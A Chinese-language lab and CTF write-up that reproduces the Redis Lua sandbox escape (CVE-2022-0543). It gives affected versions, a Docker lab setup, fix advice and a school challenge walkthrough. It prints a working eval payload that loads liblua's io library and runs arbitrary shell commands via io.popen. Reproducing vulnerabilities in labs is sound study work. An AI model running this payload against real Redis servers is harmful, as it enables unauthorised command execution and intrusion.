Redis沙盒逃逸(CVE-2022-0543)漏洞复现
一、漏洞描述
Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
受影响版本:
2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5
二、环境准备
下载Redis
1.下载redis安装包:https://github.com/MSOpenTech/redis/releases
2.解压后进入该文件夹运行cmd命令后依次执行一以下命令:redis-server.exe redis.windows.conf redis-server --service-install redis.windows.conf
重新打开一个该目录下的cmd窗口:redis-server --service-start
然后测试是否可以使用redis:redis-cli.exe -h 127.0.0.1 -p 6379
3.docker拉取靶场镜像docker pull vulfocus/redis-cve_2022_0543docker run -d --name redis-cve-2022 -p 8008:6379 vulfocus/redis-cve_2022_0543
三、漏洞复现
1.执行redis-cli命令连接redis-cli.exe -h 127.0.0.1 -p 8008
2.执行恶意payload:
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
3.然后就可以替换whoami执行各种命令了
四、修复建议
1.升级Redis到最新版本,最新版本已经修复了该漏洞。
2.在Lua初始化的末尾加上package.loaded[“package”] = nil,即可修复该漏洞。
参考链接:https://mp.weixin.qq.com/s/ZMIL-GGl1dUa2mnN2CHehQ
五、相关简单题目 ez_redis
这是学校里面靶场的一个简单题目,主要是熟悉这个漏洞
题目中可以看到是一个简单的redis执行命令的面版,下面看到redis的版本是redis5,在这个漏洞的触发版本内,所以存在Redis沙盒逃逸(CVE-2022-0543)漏洞
但是注意到他一开始给的代码里面没有eval,说明这个面板已经有了 eval的功能,所以不需要输入eval了,使用恶意payload的时候注意删除eval和引号,然后就可以目录穿越,拿flag了。






